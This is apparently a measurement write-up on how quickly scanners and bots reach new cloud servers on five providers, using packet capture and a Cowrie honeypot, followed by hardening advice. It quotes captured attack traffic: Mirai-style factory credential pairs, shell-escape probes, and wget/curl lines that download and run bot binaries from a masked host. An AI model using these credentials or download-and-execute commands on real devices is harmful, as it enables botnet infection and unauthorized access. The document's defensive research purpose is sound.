A new cloud server gets traffic before you have logged into it yourself. How fast that happens, which ports get probed and what the bots try once a login works are easy to measure, so I measured them on five providers at once.
Each provider got its cheapest VM, a firewall rule that allows every inbound port, packet capture that starts in the first boot step, and the Cowrie honeypot listening on ports 22 and 23. The servers ran for one hour and were deleted afterwards. I ran the whole test twice: once with only packet capture, once with the honeypot. Unless a table says otherwise, numbers come from the second run.
Setup
| Provider | Region | Machine | Image | Firewall rule |
|---|---|---|---|---|
| AWS | eu-central-1 | t4g.nano | Ubuntu 24.04 | security group, all protocols from 0.0.0.0/0 |
| Microsoft Azure | germanywestcentral | Standard_B1ls | Ubuntu 24.04 LTS | NSG rule all-in, priority 100, protocol * |
| Google Cloud | europe-west3-a | e2-micro | Ubuntu 24.04 LTS | firewall rule --allow all --source-ranges 0.0.0.0/0 |
| DigitalOcean | fra1 | s-1vcpu-512mb-10gb | Ubuntu 24.04 | none (no cloud firewall attached) |
| Hetzner | fsn1 | cx23 | Ubuntu 24.04 | none (no cloud firewall attached) |
All five boot the same cloud-init file. Three parts of it matter.
Packet capture from the first boot step. bootcmd runs before almost anything else, so tcpdump is up before sshd. One capture keeps the full pcap; the second writes one line per new TCP connection attempt (a SYN without ACK) or UDP packet, which is what the counts below are built from.
bootcmd:
- mkdir -p /var/lab
- [ sh, -c, "nohup tcpdump -i any -n -U -s 512 -w /var/lab/cap.pcap >/var/lab/tcpdump_pcap.err 2>&1 &" ]
- [ sh, -c, "nohup sh -c \"tcpdump -i any -n -l -tt '(tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0) or udp' > /var/lab/conns.txt\" &" ]
My own SSH on a high port, key only. The real sshd also listens on 22922 and refuses passwords, so the honeypot can take over 22 without locking me out.
Port 22
Port 22922
PasswordAuthentication no
KbdInteractiveAuthentication no
PermitRootLogin prohibit-password
LogLevel VERBOSE/etc/ssh/sshd_config.d/00-lab.conf
Cowrie on 22 and 23. Cowrie is an open-source SSH and Telnet honeypot. It accepts most logins, gives the client a fake shell, and logs every credential and command. Nothing typed into it runs on the host. It installs from PyPI into a virtualenv under its own user, listens on 2222 and 2223, and two NAT rules send 22 and 23 to it:
adduser --disabled-password --gecos '' cowrie
su - cowrie -c 'mkdir -p hp && cd hp && python3 -m venv env && env/bin/pip install cowrie && env/bin/cowrie init'
su - cowrie -c 'cd hp && PATH=$HOME/hp/env/bin:$PATH cowrie start'
iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
iptables -t nat -A PREROUTING -p tcp --dport 23 -j REDIRECT --to-ports 2223
A tiny Python server on port 80 logged every HTTP request path and answered 404.
Time to the first packet
The clock starts when the create command is sent. “After capture start” removes the time the provider spends building the machine.
| Provider | First packet after create (s) | After capture start, run 2 (s) | After capture start, run 1 (s) |
|---|---|---|---|
| AWS | 25.5 | 6.1 | 2.6 |
| DigitalOcean | 36.0 | 0.2 | 10.8 |
| Hetzner | 37.4 | 4.0 | 11.2 |
| Google Cloud | 40.3 | 1.4 | 8.7 |
| Azure | 48.0 | 13.2 | 18.0 |
In both runs every server saw its first inbound packet less than 20 seconds after tcpdump started. On AWS the first packet in run 2 went to port 23.
One hour of inbound traffic
| Provider | Connection attempts | TCP | UDP | Unique sources | Unique ports | Top 3 ports (attempts) |
|---|---|---|---|---|---|---|
| DigitalOcean | 664 | 627 | 37 | 444 | 528 | 23 (30), 22 (12), 443 (11) |
| AWS | 903 | 857 | 46 | 692 | 809 | 80 (19), 9999 (9), 23 (6) |
| Azure | 1,058 | 914 | 144 | 645 | 755 | 1194 (101), 23 (66), 10000 (17) |
| Google Cloud | 1,315 | 1,272 | 43 | 730 | 948 | 23 (99), 80 (62), 443 (55) |
| Hetzner | 1,416 | 736 | 680 | 439 | 1,075 | 445 (143), 23 (47), 10001 (17) |
That is 5,356 attempts across five addresses that were never published anywhere. Most sources sent only a few packets each and moved on, which is what wide address-range scanning looks like.
Hetzner’s top port was 445 (SMB, Windows file sharing), and almost half of its traffic was UDP. Azure’s top port was 1194, the default OpenVPN port.
What the bots did after logging in
Cowrie was ready between 76 and 390 seconds after the create command, depending on the provider. The first login arrived 63 to 246 seconds after that.
| Provider | Logins | Over SSH | Over Telnet | Source addresses |
|---|---|---|---|---|
| DigitalOcean | 12 | 0 | 12 | 4 |
| Hetzner | 20 | 3 | 17 | 7 |
| AWS | 0 | 0 | 0 | 0 |
| Azure | 27 | 0 | 27 | 8 |
| Google Cloud | 29 | 2 | 27 | 8 |
Out of 88 logins, 83 came over Telnet. On every server that had logins, admin / admin was the most common pair. Other pairs in the logs include root / xc3511, root / vizxv, root / hi3518, root / juantech, root / anko, root / default and root with an empty password. These are factory credentials of cheap DVRs, IP cameras and routers, and several of them were in the credential list of the Mirai botnet, whose source code is public.
After a login, the sessions typed almost the same sequence everywhere:
enable
system
shell
sh
ping; sh
/bin/busybox HISILICON
/bin/busybox cat /proc/self/exe || cat /proc/self/execowrie
enable, system, shell and sh try to leave a router’s restricted CLI and reach a real shell. busybox with a made-up applet name (HISILICON, UNSTABLE) fails with an error that only a real BusyBox prints, so the bot learns it has a shell. cat /proc/self/exe reads the binary of the current process, which tells the bot the CPU architecture.
The download attempt
One server went further. On Azure, a session first wrote an empty test file into every directory it could reach and made it executable:
>/var/tmp/.f && chmod 777 /var/tmp/.f && /var/tmp/.f && cd /var/tmp/;
>/dev/shm/.f && chmod 777 /dev/shm/.f && /dev/shm/.f && cd /dev/shm/;
>/root/.f && chmod 777 /root/.f && /root/.f && cd /root/;
Two other sessions logged in as root with an empty password and downloaded binaries, one build per CPU architecture, because the bot cannot know in advance what it landed on. The download host is replaced with x.x.x.x here:
wget http://x.x.x.x/bins/net.x86_64 -O net_bot && chmod 777 net_bot && ./net_bot net.x86_64 && exit;
curl -L http://x.x.x.x/bins/net.x86_64 -o net_bot && chmod 777 net_bot && ./net_bot net.x86_64 && exit;
The commands also named net.arc, net.i686, net.spc, net.mips and a shell script kla.sh. There were 10 download attempts in the hour; Cowrie stored four distinct files and none of them ran. Their SHA-256 hashes, if you want to look them up:
| SHA-256 | Size (bytes) |
|---|---|
5d9e4bdee8c8fcb0b534f6336ecace4696d8ed3038de42a969c6e037e41d1de5 | 148,428 |
b28233f84b6022af819adc47e0763ad76ec39d057e6b59dcc219a97e63f0cbd0 | 255,652 |
3674a103804cac96027fe1cf62aaab4948c1d547d1c885542177a263103b4260 | 193,352 |
39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96 | 3,241 |
The server with no logins
AWS got 903 attempts, but only 7 went to ports 22 and 23 and none of them completed the TCP handshake: the server answered with SYN-ACK and the final ACK never came. That is a SYN scan, which checks whether a port answers without opening a connection. Cowrie never saw a session.
Port 80 was AWS’s busiest port. The requests that reached the HTTP logger asked for:
/
/favicon.ico
/robots.txt
/.well-known/robots.txt
/security.txt
/.well-known/security.txt/var/lab/http80.jsonl
One hour on one server is not enough to say why the Telnet bots skipped this address.
Scanners looking for MCP servers
Among the HTTP requests on Google Cloud were these paths:
/mcp
/mcp/
/api/mcp
/sse/var/lab/http80.jsonl
These are common endpoints of a Model Context Protocol server, the protocol AI agents use to call tools; /sse is the older HTTP+SSE transport. Four MCP paths from one scan means a client is mapping which cloud addresses expose an MCP endpoint. If you run an MCP server on a public address, put it behind authentication or bind it to localhost.
Two runs
| Provider | Run 1 attempts (no honeypot) | Run 2 attempts (honeypot) |
|---|---|---|
| DigitalOcean | 619 | 664 |
| AWS | 878 | 903 |
| Azure | 1,032 | 1,058 |
| Google Cloud | 1,024 | 1,315 |
| Hetzner | 611 | 1,416 |
Hetzner went from the lowest total to the highest between the runs, so these numbers do not rank the providers. What held both times is the speed: every server was found within 20 seconds of capture starting.
Hardening a new server, in this order
Everything above hit ports that were open on purpose. On a real server, these steps remove most of it.
1. Close every port you do not use, in the cloud firewall. A provider firewall drops packets before they reach the VM. On AWS that is the security group:
aws ec2 revoke-security-group-ingress --group-id sg-xxxx \
--ip-permissions 'IpProtocol=-1,IpRanges=[{CidrIp=0.0.0.0/0}]'
aws ec2 authorize-security-group-ingress --group-id sg-xxxx \
--protocol tcp --port 443 --cidr 0.0.0.0/0
Allow SSH only from your own address, or not at all if you use the provider’s session manager. On the VM, check what actually listens:
sudo ss -tulpn
2. SSH with keys only. With password login off, the admin / admin style of attack has nothing to try.
PasswordAuthentication no
KbdInteractiveAuthentication no
PermitRootLogin prohibit-password/etc/ssh/sshd_config.d/10-hardening.conf
sudo sshd -t && sudo systemctl reload ssh
3. No Telnet. It sends everything in clear text and is what 83 of the 88 logins used. On a server it should not be installed at all; at home, check cameras, NVRs and routers for a Telnet option, turn it off, and change the factory password.
sudo ss -tlnp | grep ':23 '
sudo apt purge telnetd inetutils-telnetd
4. Keep the system patched. Whatever still answers on an open port should be current. On Ubuntu:
sudo apt update && sudo apt upgrade
sudo apt install unattended-upgrades
sudo dpkg-reconfigure --priority=low unattended-upgrades
To check the result from outside, scan your own address from another machine with nmap -Pn -p- <your-ip> and compare it with the list of ports you meant to open.
What this test does not cover
- One region per provider, the cheapest machine, one hour, two runs. Other regions and longer windows will look different.
- IPv6 was not counted; no server received an IPv6 attempt.
- Cowrie emulates a shell, so a bot that checks more carefully may leave earlier than it would on a real server. The commands above are what bots send before that check, not a full attack.
- Source addresses are not attributed to anyone. Many scanners belong to research projects and search engines for internet-facing devices.